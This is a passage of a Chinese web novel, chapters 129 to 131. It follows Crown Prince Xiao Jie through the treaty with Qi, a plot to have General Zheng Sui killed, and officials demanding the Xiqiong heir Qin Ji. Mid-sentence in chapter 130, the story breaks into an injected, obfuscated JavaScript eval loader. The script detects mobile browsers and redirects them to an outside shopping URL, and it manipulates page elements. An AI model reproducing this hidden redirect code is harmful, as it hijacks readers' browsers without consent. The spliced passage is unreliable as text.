萧玠点点头,一抬手,狄皓关率众军收剑退下高台。接着,萧玠似乎什么事情都没发生,重新整衣坐下,“本宫与贵使心有灵犀,也开了个玩笑。贵使无须拘束,请入座。” 危机顿时烟消云散。 副使腿脚发软,忍不住抬手擦拭冷汗,放下袖子时,他看到梁太子脸上那缕漩涡的残影。那是以彼之道还治彼身的微笑。 萧玠目光从他二人脸上逡巡,单刀直入地、平静地说:“孔将军,我知道你在等什么。我军和贵军之间似乎还有一封战报。” 他看了眼太阳,“日头还早,那本宫和孔将军一起等一等吧。来人,添酒。” 这天,天朗气清,熏风日丽,太阳像一把轮转的剪刀,在每个人头顶喀嚓作响。所有人都知道那是修理命运枝杈的声音,只是不知道谁的命运被剪断,谁的命运又逃过了。这些命运的残枝败叶,化作大团的金丝金线,萎顿在这片古老的祭地。微风无声,在君水上铺开一条金鳞小径,却没能把案上的杯酒拂动一缕金色沦漪。 台上,孔如期和萧玠凝固了,树成齐河梁界边上两尊远古的石像,楚河汉界边上两粒顽抗的棋子。时间蹒跚前行,几乎把历史陷入虚无。每个人都深深呼吸,又似乎静止呼吸。他们都听到一片死寂,和死寂外喀嚓喀嚓的剪刀声。 突然,一顶头盔蹿进视线,引得所有人引颈张望。 是一个探马的头盔。 他一出现,孔如期立刻从座上站起,萧玠也坐直身体。无数目光射到他双手间那封单薄沉重的信封之上。 探马跑到台下,“委蛇山发来急报!” 萧玠扶案叫道:“快呈上来!” 东方彻接过信,快步赶到萧玠面前,几乎是膝盖一软跪倒在他脚边,将书信捧上去。 他头顶响起撕裂信封的声音。 信有两页,萧玠迅速看完第一页,再看第二页,一直没有说话。台上台下所有人都屏息看着他。 忽地,东方彻感到一只手死死捏住自己手腕。他抬头看到萧玠手中纸页颤动许久。他知道结局即将揭晓,不管是福是祸。 片刻后,萧玠松开手,将第一张信纸递给孔如期。接着他持杯起身,向众人抿出一个笑容,举酒朗声道:“忠武将军郑绥马至委蛇山,斩公孙铄,全歼其麾下二千人——大捷!” 孔如期在萧玠轻轻颤抖的声音里一栋危墙般轰然倒地。 奉皇二十二年旧历三月二十,梁齐和谈,史称“君浦之盟”。齐军撤离四郡,交出侵樾军官,并在一年内付清赔款。委蛇山之战作为樾州战场的最后战役,标志着大梁对齐作战取得完全胜利。 齐国豹旗的阴影彻底从上空吹走了,太阳重新把樾州大地照亮了。所有人欢呼喝彩,哭笑声震耳欲聋。但东方彻依旧听到那剪刀修剪的声音在现场盘桓,喀嚓,喀嚓,喀嚓。他追寻这诡秘的声音,在尽头看到萧玠。萧玠面含笑容,从容不迫,两只手却把他完全出卖。 东方彻一开始被他的右手吸引,他递出信纸的右手仍微微发抖,这可以解释成一种激动的表征。那他的左手呢? 东方彻发现,萧玠的左手谜团一样掩盖在袍袖之下。他立刻想到失踪的第二张信纸。 ——宣布胜利时,它被萧玠迅速团在左掌之中。 130.第 130 章 和谈当夜,东方彻领到一个奇怪的任务。 侍卫找到他时,他正被樾州人民争来抢去。侍卫在人声中扯着嗓子喊:“大伙让让,太子殿下召见东方长史,太子殿下召见——等见完你们再拉他跳舞啊!” 这时,天色完全暗沉,变成一块无垠的黑色棋盘,星斗散落其上,闪烁棋子们银白的冷光。东方彻挤过载歌载舞的人群,终于赶到仍处高台的萧玠的面前。他发现胜利的大欢闹外,萧玠一个人冷寂地坐着。 这很古怪,也很矛盾。萧玠刚刚还被士卒百姓簇拥在中心,庆祝和平,庆祝胜利,歌舞和火把包围他时他露出畅意开怀的笑容。现在东方彻站在他面前,却被一股巨大的孤独笼罩。只不过离开一盏茶的时间,萧玠就像出离了百年千年。 他站了一会,萧玠似乎还在沉思什么,东方彻不得不出言提醒:“殿下,臣拜见。” 萧玠这才回神,笑了一下,“明达来了,有一件事情要交给你。” 他从袖中取出一只信筒,“你立即赶去委蛇山见崔鹏英,把这封信亲手交给她。告诉她条款交接完毕怎么也要五天时间,这五天使团还会在樾州境内。当下重中之重,是条约履行前,保证齐国不再生变。此事之外诸事后放。她明白怎么做。” “是。”东方彻发觉,萧玠要他去“见”崔鲲,不是“迎”。他又问:“臣是和崔刺史一起返程,还是先行回来?” “你先回来。她要在那边待一段时间。” “臣谨遵令旨。” 东方彻正要拜退,突然听到萧玠叫住他:“明达。” 天太黑了,东方彻看不清萧玠的表情。萧玠静了一会,说:“这件事传达到你就立刻返程。她如果问你我的情况,你告诉她,洗雪国耻,我身康体健。” 东方彻躬身,没有立即离开。他预感萧玠还有事叮嘱。 果然,萧玠开口,却是出乎意料的一件事。 萧玠问:“你能扶我一把吗?我腿坐麻了。” 东方彻忙上前搀扶萧玠,碰到萧玠手掌时他有些心惊,太冷了,冷得不像活人的体温。然后他感到,萧玠身体在微微颤抖。 吹一晚夜风、跪坐一会就能叫一个人变成这样?连胜利的喜悦都不能让他兴奋半分吗? 君水距城中有一定路程,临时搭建的帐子也就作为太子的暂居地。萧玠入帐后摘下冠冕,歪在军用榻上。东方彻点亮灯盏,看到萧玠脸色时大惊失色,“殿下脸怎么白成这样?” “吃了冷酒,有些胃痛。”萧玠冲他笑了笑,“不妨事,你赶紧去。” 东方彻不敢逗留,先行走了。他脚步声远去,带出的风把烛光冲的瑟瑟发抖。萧玠盯着蜡烛看了一会,从袖中抽出一张纸团,在案上重新铺平,从头到尾又看了一遍。然后他冷静地把这张纸再次团起,团成一个局促的纸核,抬手放到蜡烛边。纸团一个蜷缩的身体般焚化了。 萧玠把它毁尸灭迹后,叫帐外的传令兵:“请五品以上的州府官吏到我帐里,商议和谈之后的对齐事宜。再去找狄帅,让他选出一支火炮队伍,全程监督齐国换俘撤兵。过一个时辰,请他带着队伍名单和新绘的舆图过来一趟。还有……帮我打盆热水,我洗把脸。” *** 旭章每夜在戌时睡觉。阿耶不论多忙,都会准时出现,给她讲睡前故事,或者问一问白天的课业。 但今晚她没有等到阿耶。 娇娇阿姨原本陪着她,一会也有事情忙——今天大人们都很忙——也就替她吹灯掖被出去了。可旭章睡不着。白天盛大的仪式和古怪的氛围像故事里妖怪被砍掉还能抓小孩的手一样包拢着她。她有些害怕。 阿耶怎么还不回来?娘去哪里了?还有爹。爹不是早说要来,怎么还没有来? 旭章想着,心也吵起来,嘭通嘭通嘭通。故事里一个怪兽的脚步也是嘭通嘭通嘭通的。爹是这么讲的。 好讨厌,爹总爱吓小孩。 旭章是个聪明的大孩子了。 可万一真是个怪兽,自己被抓走怎么办? 聪明的大孩子旭章给自己套好衣服,穿好鞋袜,裹着小斗篷钻出帐子,往旁边灯火通明的阿耶的帐子去。 她靠近帐篷,听到一群叔伯翁翁们哗啦啦站起的脚步声,你一句我一句,这个微臣领旨,那个末将遵命。然后义气如云,说殿下放心,包在我们身上,绝不出半分差池。再然后就是告退之声。 他们开完会了吗? 旭章往帐篷后躲了躲,不一会,穿着官袍铠甲的大人们走出来,个个浑身热气,神情激动。旭章知道是打了胜仗,为非作歹的齐国人要被赶回老家啦。她很高兴,阿耶应该也高兴坏了。 等人都走了,旭章轻手轻脚,把帐子帘掀开一条缝,却发现阿耶坐在榻边弯腰呕吐。一只铜盆摆在他脚边,却没有吐出什么东西。 阿耶一天没有吃饭?叔伯们都没发觉他不舒服吗? 旭章想冲上去,又硬生生止住脚步。她知道阿耶不想她担心,也就站在帐门外,红着眼睛等。等里面渐渐没了声息,铜盆响了一下,发出一阵空旷的回声,她才放大声音在外面叫:“阿耶。” 里面响起匆匆忙忙窸窸窣窣的声音。旭章掀帘进来,见阿耶已经从榻边站起,那只铜盆也不知藏到哪里去。他向自己张开手臂,笑容疲倦温和,说:“囡囡,阿耶抱抱。” 旭章心中有些奇怪,小跑过去扑到他怀里。阿耶已经摘了冠冕,但拥抱她时脑袋依旧沉甸甸地压下来。她从没感觉阿耶身体有这么沉重。她小声问:“阿耶,你难受吗?” “阿耶不难受。阿耶酒吃多了。” “爹说酒不是好东西,阿耶你不要吃了。” “……嗯。” 旭章听到阿耶囊囊的鼻音,心想还是把爹抬出来管用。然后她就又想起爹。她有点苦恼地问:“爹什么时候回来呀?” “爹还要忙一阵。” “哦。”旭章答应,又想起今天大人们的谈论,“但我听说爹打了胜仗,在回来的路上了。” 阿耶笑起来,一片温柔荡漾,“打完胜仗也有事情呀。囡囡要知道,爹不只是爹,爹是将军,将军有自己要做的事。昨天阿耶教你念曹植的《白马篇》,诗里怎么说?” 旭章没想到现在居然要考察课业,脑袋空了一下,想了半天只想起当中一句,惴惴道:“父母且不顾,何言子与妻。” 没想到阿耶没有训她,只点点头,有点喃喃的:“是,捐躯赴国难,视死忽如归。” 这句诗像有书签一样的厚度,一下子插在阿耶身体前,旭章感觉他抱着自己但和自己隔开了。也就一个弹指的功夫,但旭章感觉到了。她还没有寻思清楚,阿耶已经继续问:“今天阿姨陪你念诗,念到哪一首了?” 旭章说:“《赠白马王彪》。”她想阿耶开心,便回忆相关背景:“昨天阿耶说,曹子建和任城王彰、白马王彪是兄弟,一起去京都,但任城王死了。这首诗是曹植伤怀,赠给兄弟的。” 她小声说:“其实这一首我念不太下来。” 阿耶笑了笑:“那阿耶陪你念一遍,好不好?” 旭章记得那是奉皇二十二年最后一个美好梦幻的夜晚,那晚阿耶把她抱在膝盖,翻开李文正注的一本《陈思王集》。那点灯影跳跃在泛黄的诗集上,有点伤感,也有点温馨。她像一只小船轻盈漂浮。阿耶的声音君水一样把她环抱其中,静静流淌: “……太息将何为,天命与我违。奈何念同生,一往形不归。孤魂翔故域,灵柩寄京师。存者忽复过,亡殁身自衰。人生处一世,去若朝露晞。年在桑榆间,影响不能追。自顾非金石,咄唶令心悲。” 念到这一段,阿耶停了下来。他的声音停下来,呼吸停下来,跳动的烛火也停下来。旭章也停在他怀里,好一会,抬头小声问他:“死就是离开吗?” 阿耶声音轻飘飘的:“是,生老病死,人都要经历这个过程。只是有些早,有些晚。死其实并不可怕。” 旭章不太相信:“但吴州的老翁死了,他的孩子哭的都好伤心。” 阿耶向她笑了:“但老翁其实是去享福了,做好事的人死后会飞到天上,变成神仙,再也不会生病挨饿,会一直守护我们。只是我们看不到他们,但他们一直都在。” 旭章从阿耶眼中看到一些前所未有的东西。像是光,但哪里有比黑暗还深刻的光?阿耶黑幽幽的眼睛注视她,说:“囡囡,有一天阿耶会死,爹也会死。你不要难过,你要知道,我们是去了一个很好很漂亮的地方,在那里,我们能见到在天上很亲爱的人。这其实也是一件值得高兴的事。” 死亡真的是一件好事吗?可她还在地面上,他们到天上自己怎么够得着呢? 旭章好害怕,她一头扎进萧玠怀里紧紧抱住他,哀求说:“但我不想见不到爹和阿耶,你们能不能晚一点死。” 她靠在阿耶怀里,但她感觉阿耶的怀抱像卸掉货物的船舱一样空了一下。她热乎乎的身体没法把这么大的空档填满。但之前是满的。之前是谁来填的呢? 旭章想出答案前,阿耶两条手臂搂住她,那么用力,像搂一个遗留的孤品。阿耶的呼吸贴在她脸上,痒痒的,像爹结茧的手指。她听见阿耶一字一句对她起誓。他说阿耶发誓不会抛下囡囡,阿耶为了囡囡,也会活得更久,活得更好。 这年是奉皇二十二年,旭章五岁。五岁的旭章并不知道君王的誓言有金科玉律的效用,但她知道,阿耶的承诺出了口,四匹马拉的车子都追不上。爹说过阿耶是君子。爹还说过,君子一言,驷马难追。 *** 东方彻在五日后赶回樾州,也正赶上齐国军队跟随使团撤离梁地。他骑马过街时看到齐军黄底黑字的旗幡,灰暗孔字上却闪烁格外金艳的日光。他看到和平到来后那剪刀般锋锐的太阳依旧挂在樾州头顶上。 东方彻不敢延误,下马登城拜见萧玠。城墙之上,萧玠依旧严装危服,远眺齐军最后一匹战马踏出大梁的土地,太阳把他君王的威仪修剪成近乎降神的苍凉。 东方彻挤到卷进欢呼声中心的萧玠面前,先跪倒泣道:“若无殿下,樾州早已沦丧齐军铁蹄之下。今日齐军撤兵普天同庆,臣代樾州百姓拜谢殿下大恩!” 萧玠搀了他一把。出乎东方彻意料,他居然没有礼节性的寒暄,直接问:“崔鹏英怎么说?” 东方彻从袖中取出一封书信,“请殿下过目。” 萧玠立刻撕开信封,这是第二个古怪的细节。他迅速读完后动作娴熟地团信入手,说:“好,齐军撤兵,崔鹏英后日就能回来了。她算是代天行事,郑绥更是斩杀公孙铄建立大功,款待的事情交给你去办。还有。” 萧玠手臂微微颤抖,“告诉三军,我要为郑绥郑宁之向上请封。柱国大将军他当之无愧。” 柱国勋居二品,是连其父郑素尚未及的殊荣。但在场没有人反驳萧玠,无论出于君臣礼节、对郑绥的感激还是他二人之间那若有似无的暧昧关系。 很多年后发白牙落的东方彻依旧能清晰回忆这天萧玠的脸,旒珠冰冷的光圈落在他脸上像点点泪痕。但他真正的脸部却没有被任何悲喜浸染。东方彻从太子平静的语调里听出牙齿敲击的声音,等再过两天结局揭晓之际他才知道那是一把命运剪刀把萧玠衔在齿间喀嚓作响。 东方彻说我当时只听出明帝的弦内之音,他说迎接仪式一定要盛大,尊重,到时候我和你一起出郊相迎。让樾州百姓知道我们的英雄凯旋了,知道究竟是谁才是真正的救星。 *** 又二日,崔鲲回归,郑绥凯旋。 东方彻出行路上就预感这是极其古怪的一天。 因为萧玠下令樾州上下凡有阶品的官吏都要跟随迎接时,还下达了一个古怪的指令。 他把旭章抱去颜氏那里,没让女儿同行。 东方彻记得他当时用一种很家常的语气和娇娇说:“我答应她明天让她吃娘子做的杏仁豆腐,前提是她要跟着帮手。明早我送她来,娘子多带她玩一会,学做些旁的东西,再带她读两篇诗。今天事情结束会很晚,如果到时间我还没回来,娘子先陪她睡。” 同时,这天一早还有一个古怪的插曲。 萧玠整理冕服时,秦寄提出要走,再次被萧玠用他的伤势阻拦。秦寄虽然少年,但个头蹿得极高,他冷冷注视萧玠一会,问了一句很奇怪的话:“你是不是知道了什么?” 萧玠结系冠冕带子的手一顿,转头看他,问:“阿寄,你指什么?” 两个人的对峙第一次以秦寄败退作结。秦寄转身离开,这种类似逃避的行为比他之前的恶言恶语都更深地刺痛了萧玠。东方彻发现萧玠嘴唇颤抖,对留守城中的卫队道:“看好他,我回来之前注意他的行踪。不要让他出城。” 这两件古怪之事并没有扰乱太子出郊的计划。 这天春风熏人,君水水面金漪轻泛,太子率众越过萧玠曾赤脚追送郑绥的草坡,在高举天边的龙旗军旗下把他再度迎接。东方彻注意到,郑绥骑乘的那匹白马有些暴躁,连续多次刨地耸背,之前在郑绥面前温驯如羊的坐骑第一次显露烈马不驯的个性。他随之看到郑绥操控马缰的那双手,在旗帜阴影下射出皮肤苍白的光芒。 短短一月之期,郑绥似乎消瘦不少,听闻他诛杀公孙铄时受了不轻的伤,不知恢复得怎么样。 太子冲郑绥方向迈动一步,紧接着,崔鲲从马背翻下来,跪在那匹白马和萧玠之间,“险些叫齐军诡计得逞,是臣之罪过。” 萧玠将她搀扶起来,握了握她的手掌。接着把眼光落在郑绥身上。 崔鲲叫一声:“殿下。”这一声中似乎有些特殊含义,似乎也只有萧玠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739269|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能领悟。 萧玠冲她笑了笑,看向下马下拜的郑绥。这么看了一会,上前扶起他的手臂。两个人都没有说话。 萧玠紧紧握着他的手,握着握着像握住一团虚无,手指缓缓滑下去。他转身时笑容满面,冲身后形形色色面目模糊的各路吏员扬声道:“今天中午君水之畔,本宫置酒设宴,列位臣工都要到场,一起为二位庆功!” *** 招待齐国使团的彩绶和桌案还没撤去,宴请樾州群臣的宴席已经摆开。太子面对君水举起酒樽,上告皇天,下祝河神。皇天洒下的阳光和河神供奉的水浪上下鼓舞,在不远处荡漾开一片粼粼金波。太子继而携崔鲲郑绥入座,众臣随之落座。 太子问崔鲲:“回来路上顺利吗?” “有惊无险。不瞒殿下所说,臣等在路上遇到一次行刺。” 崔鲲的声音不轻不重,正巧在席上炸开波澜。众人大哗间,萧玠的声音已经顺着问下去:“是否擒住罪魁?” 崔鲲一挥手,两名公人已经将一人押解上来。东方彻一看到他的脸便不可思议地叫道:“岩峰,怎么是你?” 黄岩峰一见萧玠,当即痛哭流涕,跪在地上嚎啕大哭:“我有罪,殿下,我罪该万死……您杀了我吧,杀了我吧!” 崔鲲当即喝道:“黄岩峰!东宫驾前你成何体统!” 她看向萧玠,“殿下知道,臣奉旨犒军,同时押解汤惠峦对齐交涉。这件事陛下已经下旨申明过,汤犯罪大恶极,以此等不忠不孝之人换我被俘将士还朝,这是一得两便。黄岩峰却知法犯法,尾随队伍意欲暗中下手杀人。先是抗旨,后是犯法,故押解回来面见殿下。” 萧玠问:“汤犯如何?” 崔鲲道:“安然无恙。黄岩峰行刺当夜,稀里糊涂摸到郑将军房中,被当场拿下。只是出此变故,未能如期交涉。臣已经同齐国去信说明,先将他带了回来。” 他们一问一答间,黄岩峰伏在地上,哭声仍未止息。东方彻见他此状心中反倒惊疑。 汤惠峦对外是樾州惨剧的祸首,黄岩峰更认定他是害死黄岩云的真凶,未能杀他成功,本该义愤不平,怎么一见萧玠竟哭成这样?真的是知法犯法羞愧难当,或者死到临头终于害怕了吗? 东方彻一头雾水,听见上首轻轻一响。萧玠举起杯盏,淡淡道:“既已拿下,择日军法处置,勿扰大家的兴致。诸位,满饮此杯。” 宴会持续到深夜,众人开怀尽兴。萧玠由东方彻搀扶入帐,又叫人取温水给他擦脸。 萧玠持素数年,长期不沾荤酒,稍饮些许便已薄醉。东方彻扶他上榻,笑道:“果然郑将军回来,殿下也开颜不少。” 萧玠倚在枕上,犹在笑。嘴唇哆哆嗦嗦,笑都笑不成个。 东方彻递给他热手巾,想到什么,“瞧将军素日是个海量,今日竟也吃得大醉。还是两个侍卫扶回帐去的。要不要找人瞧瞧?” 萧玠却道:“他这么大个人,有什么可瞧的。” 东方彻又想起一事,“殿下将汤犯安置在何处?” 萧玠道:“挨着左值房。他到底是罪人,等事情过了,再叫禁卫送他去齐国。这样稳妥。” “是。”东方彻应一声,“臣还以为今天,殿下要宣布为郑将军加封柱国的令旨。” 萧玠两道眉毛刮风的君水一样微微一抖,在东方彻没看清时涟漪已经散尽。他笑了笑:“陛下圣旨未达,我提前公布不合规矩。” 这个话题似乎叫他有些疲惫。萧玠半睁开眼看东方彻,笑着说:“明达,你连日劳累,早回去歇息吧。” 东方彻应是,告退出帐。帐内虚幻般的温暖一下子被夜风吹散,他的头脑也揉了薄荷凉油一样冷了一下。 萧玠郑绥的情状在他这个人夫眼里已无需言喻,有道是小别胜新婚,两个人今天别说私下,怎么连场面上都没多讲几句?萧玠今日饮的不少的情况下,郑绥怎么会吃醉?这么个有他在萧玠上马都不用认镫的人。 东方彻所有的疑问,都凝固成漂浮在萧玠脸上的微笑。它和萧玠的威仪一样具有说服力,最后一缕疑虑的重量也碎石般从肩头抖落了。今天亦是开怀畅饮的东方彻走回帐篷,吹灯上床,在战胜和平的喜悦里坠入梦乡。 今夜的梦乡像酒一样醉人,醉到一半,酒杯砰地被人打破。东方彻双脚一蹬从床上坐起,发现是从耳边不远处传来的呼喝叱责声。 那些疑虑的碎石像被一双手拢在台上,要拼凑出雕像的本来面目。东方彻感觉有其中的一块卡在喉咙,随心跳往外震动。他披衣快步出帐,赶向那声响的源头—— 离他不远处,郑绥的帐篷灯火通明。 出乎意料又合乎情理地,他在帐篷里看到清醒的皇太子,崔鲲陪在身侧,面无醉意。郑绥持刀在前,寒芒闪烁的刀锋下,是一张低阶武官的脸。 东方彻认出他,折冲府校尉官丁逢源。樾州人口死伤惨重,为抵御齐军,朝廷支援的同时也就地征兵。这个年轻人就是应征入伍,建立战功后被多次提拔。 东方彻问:“殿下,如今这是……?” 萧玠道:“崔刺史怀疑,返程遇刺,黄岩峰是为人鼓动。” 东方彻丈二和尚摸不着头脑,“可黄岩峰不是要杀汤犯吗?他怎么出现在郑将军的帐篷里?” 萧玠俯身直视丁逢源双眼,“是啊,黄岩峰刺杀汤惠峦当夜,为什么会进了郑宁之的屋子,你,又为什么出现在这里?” 丁逢源眼中黑光四射时东方彻尚未明了个中含义,萧玠已经迅速把手插进他嘴里。那排牙齿如同獠牙,咬合的瞬间鲜血已从牙缝流出,沿萧玠手面滚落在地。 东方彻这才领悟,这是一个防止咬舌的举动。 萧玠全然不知痛苦,脸上绽放着无比兴奋无比激动无比惨白的光芒。他用出奇的力量紧紧捏住丁逢源颚部,崔鲲要扶他包扎时也不肯撒手。他几乎是颤抖地呐喊:“谁让你来杀他……谁让你们借黄岩峰复仇的刀来杀他?说话!!” 丁逢源已经被冲进来的军官制住,几大统领甚至狄皓关也在,这几个人像分开一个凶手和遇难者家属一样,把他和萧玠强行拉开一段距离。东方彻看到他喉部振动嘴唇张开,像要作答,但同时东方彻也看到那邪恶的黑光再次从他眼中迸发,他有一种不祥的预感但他来不及阻拦,萧玠太想知道答案丁逢源没咬断舌头的嘴太快了—— 他高声喊道:“少主千岁!马面神赐福!” 丁逢源的齿关在话音结束后迅速合拢,那截舌头终于跟随激昂陈词被一支血箭从他嘴里射出来,目标明确地砸在萧玠脸上。像一块烙铁砸上冰块。冰一样苍白的萧玠轰然坠地。众人惊叫蜂拥而上。 这天是奉皇二十二年四月十五,史书遗漏的角落,有一条断腕似的断舌,它在太子萧玠的生命传记里留下一个肝肠寸断的伤口。 131.第 131 章 丁逢源身死、秦寄被重兵看守的这个夜晚,东方彻在崔鲲口中听到部分真相。 黄岩峰行刺当夜,众人于一家驿站休整。他摸黑进入汤惠峦居住的丙号房,提刀之际却被郑绥擒拿床下。 黄岩峰刺杀汤惠峦却走错房间,这是个可笑又可怕的失误。郑绥出门,发现自己本该是乙号的门牌换成丙号。 有人换掉门牌,也就是说,有人要借助黄岩峰的仇恨误杀郑绥。 东方彻大惊失色,“什么人贼胆包天敢换偷天换日?” “也是新征募的兵丁,一个火长,叫岳成仁。”崔鲲说,“他也在护送队伍里。只可惜,揪出他的时候,他就咬破嘴中毒囊自尽了。” 东方彻惊疑,“一个火长?郑将军身手卓绝,就算负伤,哪会叫黄岩峰得手?岳成仁此计也太过愚蠢。” 崔鲲道:“不止,当夜的饭食是岳成仁打理,给郑宁之饮用的药酒里加了闹羊花和茉莉花根。的确对他的外伤,但郑宁之贴身的香囊有白芷、当归,还有一味降真香,三者配合有麻痹神经的效用。” 她嘴唇紧抿,“这只香囊是殿下托我转交的,自入我手,未示旁人。其中有什么香药,岳成仁一个新兵怎么会知道?” 东方彻问:“会不会是他趁将军更衣时有所窥探?” 崔鲲沉思片刻,还是摇头,“殿下虽未言明,但明达也知道赠送香囊有一重什么意思。郑宁之是谨慎之人,为了殿下声誉也绝不会让此物离开视线。” 东方彻问:“使君之意……真凶在将军甚至殿下身边?” 丁逢源的叫喊之声从耳边响起,东方彻浑身一紧,眼前又是那个带太阳耳坠的少年冷峻的脸。 “那岂不是……” 东方彻深吸口气,还没询问,一个传令兵不经请示闯入帐内,急声道:“使君,丁逢源的遗言不知道让谁传扬出去,外头都说救殿下的甘郎其实是西琼少主南秦少公,狼兵是他带进的城。之前齐军也不是汤惠峦带路,是借的西琼的道才进的樾州!大伙在殿下帐前乱成一团了,使君你快去看看吧!” *** 东方彻赶到帐前时樾州官员跪满一地。有戴乌纱的文官也有穿铠甲的武官。暗沉的灰紫色天空把众人影子拉长,映在大地上像流窜四溢的脓血。他们敬奉萧玠,但选择用沉默打响这场逼迫战。这件事处理不好,萧玠在战时树立的威信的碑石会在樾州大地上碎为土灰。 东方彻叫道:“大伙先起来,赶紧起来!聚众相迫是要逼宫不成!” 樾州折冲府都尉把头盔取下,扬声叫道:“殿下对樾州有大恩,臣等绝不敢有任何犯上之心!只是血海深仇不报不能为人,如今罪魁祸首在兹,还请殿下将秦寄交出来,我们誓要平此大恨!” 一个人叫起来一众人叫起来,叫声通达天空,大片血云响起震颤的嗡鸣之声。东方彻扶不起这个搀不起那个,焦头烂额之际,帐子打开,皇太子披一件外袍走出来。 萧玠脸无血色,松开要搀扶的崔鲲的手,“请问诸君,要我交出秦寄是走的什么章程?” 都尉跪地抱拳,“回禀殿下,欠债还钱,杀人偿命!” 萧玠问:“好,那我再请问,他杀了什么人?” 都尉道:“是他带领西琼狼兵入城屠戮百姓,狄将军带咱们清理山道,除了狼兵还找到了他的脚印!既如此,去年未必不是他鼓动齐国借道伐樾!殿下,樾州上下四万口的血债啊!” “他既然带狼兵入城,为什么要救我?杀了我岂不是更好吗?”萧玠严声问,“你也说了,鼓动齐国是‘未必’。他一个黄口小儿,焉能干涉一国军政。若像你之推测,陛下的圣旨是不是都出自我一人之手了?” 都尉忙道:“末将不敢。就算不是他,母债子还……” 萧玠打断:“母债子还是大梁的哪条律法吗?” 都尉咬紧牙关。 一旁樾州司马向前膝行两步,拱手道:“殿下之恩如日如月,臣等绝不敢有犯上作乱的念头。但西琼借道齐军是实情,驱遣狼兵、假冒齐军之名入境亦是实情,显然要我们鹬蚌相争,其以坐收渔翁之利!殿下,西琼狼子野心,不辜若此,敢问殿下,此仇焉能不报?” 萧玠面孔沉静,“既如此,我请问诸位,要报仇,还是泄愤?” 他从一旁狄皓关腰间抽出宝剑,寒光闪烁时他声音闪烁:“要泄愤,我把剑给你们进去杀人。便能授人以柄,叫西琼南秦有名正言顺的由头发兵征讨,把我们有理有情之师陷入不仁不义之地。要报仇,就都给我站起来!” 萧玠身体因高声询问而微微颤抖:“你们都是樾州的长官,如今樾州人丁几何甲兵几何耕地几何税收几何,能不能支撑起再一次战争?诸郡能否经得起再一次铁蹄践踏,百姓能否经得起再一次家破人亡,你们心中统统没有计较?齐国和谈了,就老实了?君水时他们首鼠两端的做派诸君都瞧见了!若非郑宁之一战得胜,拿公孙铄的人头逼着他们签约落定,只怕咱们的仗还要再打一年呢!这时候斩杀一个无辜甚至有功的西琼少主——南秦少公!别忘了,他是还是南秦大公的独子,杀他是逼秦琼联手反了大梁!是树敌还是报仇,诸君,可有计较?” 空旷的天际和空旷的平野上,只有萧玠的声音在盘旋回荡,简直不像一个病弱之人的诘问,而是上苍的谛告。空气中充满颗粒状的沙沙声。 都尉哽咽道:“难道就这么算了……殿下,西琼的账咱们就这么算了?” “君子报仇十年不晚,但十年已经足够让一个人抱憾而死。”萧玠说,“我不会叫大伙等十年这么久,但你们都要沉住气给我等!文官回去修城造册,武将回去厉兵秣马,到时候伐琼大军里,我会给咱们樾州留出先锋的位置,我会让你们亲手报家乡的血仇!在此之前,我们要建一支以一当十的樾州守备军!” 东方彻心绪震荡,在看到大放红光的灰紫色天空前,先看到萧玠鼓荡的洁白衣袍。他简直不像一个人,更像一个神,河神从君水中施施然脱身飘落在红尘当中了。众臣心悦诚服,俯首领罚。 萧玠叹口气:“战时不易,不罚俸了。手抄三遍樾州受难者名单,各自回去吧。” 众人叩首散去,风把他们脚步送走了也跟着离去了,萧玠飘舞的衣袍静止下来,流畅的线条暴露出他单薄如纸的身形。这时候崔鲲将一碗汤药递给他,萧玠咕咚咕咚一口吞下。 他又开始服药了。 东方彻惊讶于他在战后反而每况愈下的身体状态。自从君水之盟后,疲倦就像巫山之云罥绕在萧玠阳台般的眉头上。 崔鲲也是面露担忧,“殿下,秦少公要如何处置?” “把他看严,我今晚给那边去封信。”萧玠问,“谁把秦寄身份传扬出去的,又是谁聚众闹事——有眉目了吗?” 崔鲲扶住他手臂,反而像给自己汲取力量。 她沉沉道:“臣心中有大概了。请殿下再给臣三日时间,三日之后,臣定给殿下一个交待。” 萧玠点点头,说:“这几日我得看着阿寄,抽不开身回去。囡囡那边……” “臣也会看好她。”崔鲲道,“臣也会慢慢告诉她。” 萧玠没有多说,打帐进去。 *** 帐中,碗盏碎裂,粥饭满地。 几个伙头兵束手无措,看见萧玠如见救星。他们撤开身,露出捆在椅子上的秦寄。 萧玠叹口气:“你们回去吧,我自己来。” 伙头兵如蒙大赦,连忙告退出帐。萧玠弯腰拿帕子将地上碎片一一包裹,又将热粥端过来,走到秦寄身边,道:“吃饭。” 秦寄冷笑一声:“以怨报德,这就是你们萧家的规矩。” 萧玠道:“军中人多眼杂,未必再无黄岩峰之辈。你现在出去不安全。” “是怕我不安全,还是怕我太安全?”秦寄盯着萧玠双眼,“你想打西琼,把我按在手里,要做人质。” 萧玠睫毛颤抖一下,平静道:“你也可以这么理解。” “那你打错算盘了,我这条命不值钱。”秦寄懒懒笑一声,“不管在南秦还是西琼,都是。” 萧玠不为所动,将粥吹好递到他嘴边,“我已经给阿耶写信了,叫他派人来接你。在这之前,你必须跟着我,哪里也不能去。” 这句一出,秦寄故作的笑脸骤然阴沉,抬脸用下颏把粥碗撞掉。他不理会萧玠脸上一闪而逝的受伤的神色,继续往他心上插刀。他嘲弄道:“阿耶。” 那只碗被撞掉,萧玠也被他撞得退后一步。他道:“我讲错了,是你阿耶。” “我阿耶。”秦寄笑笑,“你怎么不问问我一个南秦少公为什么背井离乡去国千里?你把我送回去,才是要我的命。” 萧玠这时候有点恼怒,叫他:“秦伯琼,你不要这么讲话。你也大了,不要这么伤他的心。” 秦寄到底年轻,更少有城府,脱口道:“我伤我自己爹的心,和你有什么关系?” 萧玠察觉不对,“阿寄,你们究竟怎么了,你和我说说好吗?” 灯光落在他们脸上,恰到好处的阴影把彼此不同的地方涂抹掉,又把隐秘的相同夸张了。两张脸化成了一个模子里倒出的面具,只是一个更年轻,一个更年长。 